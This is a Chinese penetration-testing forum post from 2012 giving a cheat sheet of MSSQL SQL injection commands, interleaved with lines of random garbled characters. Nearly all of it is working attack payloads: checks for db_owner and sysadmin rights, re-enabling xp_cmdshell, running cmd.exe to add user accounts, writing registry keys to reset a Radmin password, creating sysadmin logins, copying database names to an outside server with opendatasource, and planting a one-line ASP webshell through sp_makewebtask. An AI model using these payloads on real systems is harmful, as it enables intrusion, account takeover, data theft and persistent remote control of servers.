中国网络渗透测试联盟
标题:
常用的一些注入命令
[打印本页]
作者:
admin
时间:
2012-9-15 14:40
标题:
常用的一些注入命令
//看看是什么权限的
8 \8 S: S, W" N' y3 Y
and 1=(Select IS_MEMBER('db_owner'))
: c# G' d( Z7 O/ a! g
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
% c4 N' \9 W9 z5 K( Z4 v
. y/ u( C' E+ Y
//检测是否有读取某数据库的权限
3 W! }# J1 k9 {3 a6 i1 v
and 1= (Select HAS_DBACCESS('master'))
' P6 [7 _, {/ W0 v- J0 }
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
4 n" @: z8 ]4 E5 I3 t/ A
: G5 T4 A0 g, `4 B
# `% O# F: k1 z' V, E6 l$ X
数字类型
* h. _( N# S- k* E X! k
and char(124)%2Buser%2Bchar(124)=0
; U- F, j5 U6 V/ q! D0 `
. Q5 n0 Y$ Y3 m' J0 |! L% ?4 L7 x; k
字符类型
! C3 x- F# f# X3 v% I5 C1 I
' and char(124)%2Buser%2Bchar(124)=0 and ''='
- r/ ?# q1 o9 q$ N& \# o
. V3 Q1 c! A! l! Z5 N2 z
搜索类型
% b. [- w X- D
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
3 T9 ^! t8 \. ?3 Y/ @- {
& b/ M( k: M' i- E
爆用户名
1 O( |5 ?9 \2 z
and user>0
# d- z/ D6 y: Q: ^+ A& R' `
' and user>0 and ''='
6 K8 m0 L* N' J0 K
: q! H$ {3 r* A
检测是否为SA权限
! v# t9 d0 j! U" o1 L0 @+ `1 {% `
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
; }- n L7 Z2 s( O9 v* Y8 h/ s
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
) Q; Q& O7 q7 ?- [3 V. o
4 \) G! m/ r7 x% Q, z
检测是不是MSSQL数据库
( I2 p6 @, P% p3 s3 o$ D4 I
and exists (select * from sysobjects);--
7 @( e/ W3 s8 a
9 V5 J4 K- L; [
检测是否支持多行
2 ~- }& m s) {) X# T
;declare @d int;--
3 k0 U% @! u5 X: P% g, N* p
+ t5 j: a8 R+ W" z3 ~
恢复 xp_cmdshell
) V* C. J; `3 E. h; Q( z& q
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
% j' Z3 a4 \7 {6 m$ o$ u' Z* z& X3 {
' T* m) ?8 @0 @) z8 W8 ?
7 K) C+ U, [$ V; q7 ^$ v
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
! j' r+ Z* I5 a8 X }( P# ]
1 s# B/ w4 g8 F! q
//-----------------------
; g3 h1 S) Y+ W; E8 ^ B# A
// 执行命令
: R- w$ C7 w# d J8 Y# k' Z" v
//-----------------------
: E4 l$ k$ y, O2 h, R) V' Y/ I
首先开启沙盘模式:
) d8 F8 s" [: v# t; C
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
5 [2 M9 r! Y* y7 C1 B; b; j
9 [& t0 u! {: d/ T" o
然后利用jet.oledb执行系统命令
2 i j3 m7 m7 B' h- N
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
) C, {! @4 `: Z3 K C6 v7 a# X
& n2 R# N8 A& o" H2 O. }! J1 c
执行命令
$ y, Q/ D v: m6 L# _6 x
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
/ y& g1 V& }% z
, O9 a: _/ `" O) _8 ~
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
, k e ?8 v, f, v. e
; H! i3 [% \- l2 h7 t x% @
判断xp_cmdshell扩展存储过程是否存在:
$ \; S3 @! ?8 ]: E1 q- ^* G8 d
http://192.168.1.5/display.asp?keyno=188
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
3 p1 G# K5 w2 C3 j
8 @ s! o1 u; j7 D* O1 V0 q
写注册表
) Q- P1 K+ M) Q& x; x
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
% {7 [6 q3 ~$ }/ o
\* [) a7 y# S. r H
REG_SZ
# p+ S! o. Y4 p* X! K
% }- v) U+ }) T E9 Q) A$ ~' ?
读注册表
0 Q! j# n: {! k1 |$ x. n& ^; q
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
4 D J: O# @% L: X9 w
, M( t6 z# D, q o: O' S$ ^
读取目录内容
1 N7 \8 X! a; {. J0 A4 V& Y
exec master..xp_dirtree 'c:\winnt\system32\',1,1
" e% o% f9 m1 }3 y& a& Z8 m" V, c" ^
9 l. f* t4 J0 g3 K1 a, T
% s( k- {+ q C6 s' s% [( v
数据库备份
8 e2 W: \( P% W! w0 T- s: J' M
backup database pubs to disk = 'c:\123.bak'
7 p4 C }9 s. h: ~- x( o) i; n$ `
' O8 F5 J+ {) k% b
//爆出长度
. P" m: I) I6 ^% z6 H' j( S
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
7 b* f6 r6 y* \& v
7 [3 \! K9 s$ o$ ^
* K2 J( Q3 X4 @5 o# Y
2 S# S+ H3 }9 R( u1 }' z
更改sa口令方法:用sql综合利用工具连接后,执行命令:
! o! ?8 P- s- |9 g* n5 V
exec sp_password NULL,'新密码','sa'
" X# j4 H* i2 ~) \% `) X% J7 y* j
/ y+ V4 Q" V* W; J
添加和删除一个SA权限的用户test:
/ ?! R1 E# M8 ~" Z* {0 T
exec master.dbo.sp_addlogin test,9530772
8 q# }) X6 u( k6 ^$ h& P3 U' T
exec master.dbo.sp_addsrvrolemember test,sysadmin
" |4 C: G# C. l; G4 l$ @
9 e6 ]% W; r( x w% k; f
删除扩展存储过过程xp_cmdshell的语句:
4 E# i; u% ]: O: L0 ]
exec sp_dropextendedproc 'xp_cmdshell'
& u* g# S3 M E. x: W8 `. H& J
8 i2 {3 s; d5 j1 L
添加扩展存储过过程
6 ^/ |. ~# F4 W1 \2 U r( P# H
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
7 v; k. R$ m# t& L
GRANT exec On xp_proxiedadata TO public
; {' b! K. }1 T8 z5 q1 b% C
4 f* a. e; }3 g1 [
9 {2 E" S3 h: K7 L9 X
停掉或激活某个服务。
. y- ]6 Q' R7 K! Q3 r
0 s& H0 W( M. v
exec master..xp_servicecontrol 'stop','schedule'
; X9 P3 T2 c, d7 v0 }- I4 P7 Q
exec master..xp_servicecontrol 'start','schedule'
9 L- y/ H- w3 k b+ y8 U1 @
: z9 O) Y m& X( ?7 A
dbo.xp_subdirs
" Z3 `# L2 N" g8 h. O0 K. ^4 w# k* |
& }! j2 i3 p6 P2 x$ I
只列某个目录下的子目录。
1 @" ~7 Z7 W$ |0 Z W/ b
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
5 B2 S) o4 K. U2 b9 ?2 u) `7 D
% ~' R' s. F! X5 w ?. C# E1 Z
dbo.xp_makecab
+ s7 p* M6 l0 x; O
5 V2 s; y- z% `1 E( P
将目标多个档案压缩到某个目标档案之内。
# P0 x- w( U: P' @, I$ @
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
7 i, ^- ]" s0 ^& C: R5 a5 l @
* m* R3 z( X I
dbo.xp_makecab
9 B( f% R9 W9 q& F
'c:\test.cab','mszip',1,
. F9 R1 k$ i/ g0 b- f0 O8 c' a8 l- C4 y
'C:\Inetpub\wwwroot\SQLInject\login.asp',
# C- |' m0 \- ]. t
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
/ r( z6 [& V4 v$ |- W1 B
9 M( A7 S& ~" D, Q
xp_terminate_process
+ s3 w. P# ]" V. k1 }/ L8 N
/ ?7 [7 y. R2 g* _
停掉某个执行中的程序,但赋予的参数是 Process ID。
. q5 m2 N3 y v1 ~
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
3 I# i. z2 \2 Z: E
, }4 G3 L$ R0 }' L ?2 w6 Y
xp_terminate_process 2484
9 b# Q2 O0 E% r7 A, E
2 ^. W2 j' N- |* c
xp_unpackcab
( m v6 J9 l. l4 l! g
$ A; \; w9 B: U3 W @2 u% V5 ]
解开压缩档。
! K9 N2 n: [% ?# }
D- M7 ]$ I X! |' ]- a* w
xp_unpackcab 'c:\test.cab','c:\temp',1
- t- m, _6 f# e2 E; j2 g5 w/ m& {, J8 W
6 s" K6 l' n3 E8 V
0 o5 q7 D+ v6 X7 O
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
3 _6 H, l# U! W [, O
& z$ H. F. Y! y
create database lcx;
- |9 }8 R: y: q- K \
Create TABLE ku(name nvarchar(256) null);
. ^9 Y6 z. a* G9 U
Create TABLE biao(id int NULL,name nvarchar(256) null);
& D5 p" u$ o& X$ W7 \: T- n4 j/ Z
5 e w3 Q& G$ S3 W
//得到数据库名
8 Y* H4 o6 F, x9 [5 ?. v
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
3 l" X0 Y7 J2 ^/ ]! T8 m# A
; A" `* `+ F% H# s. b$ r
2 N0 s: |) _0 D* ~
//在Master中创建表,看看权限怎样
' \% d$ q& H8 W& J5 a/ {) |* b
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
0 Y* |3 @* u' p) e
5 ?& p6 `8 Q8 a" _ a
用 sp_makewebtask直接在web目录里写入一句话马:
) P6 E& y# p$ f! @# Q
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:
\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
% W/ Z% O8 }9 Q: X
; {: w+ u) u9 q) L. K
//更新表内容
* ]3 F! }9 o/ X4 M" e8 d) @/ S. W
Update films SET kind = 'Dramatic' Where id = 123
& X" F2 N% E& @5 z2 w3 n
3 X; y, T5 {! ~& y
//删除内容
e. q* s/ G" N4 Z# W2 R( g5 v
delete from table_name where Stockid = 3
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2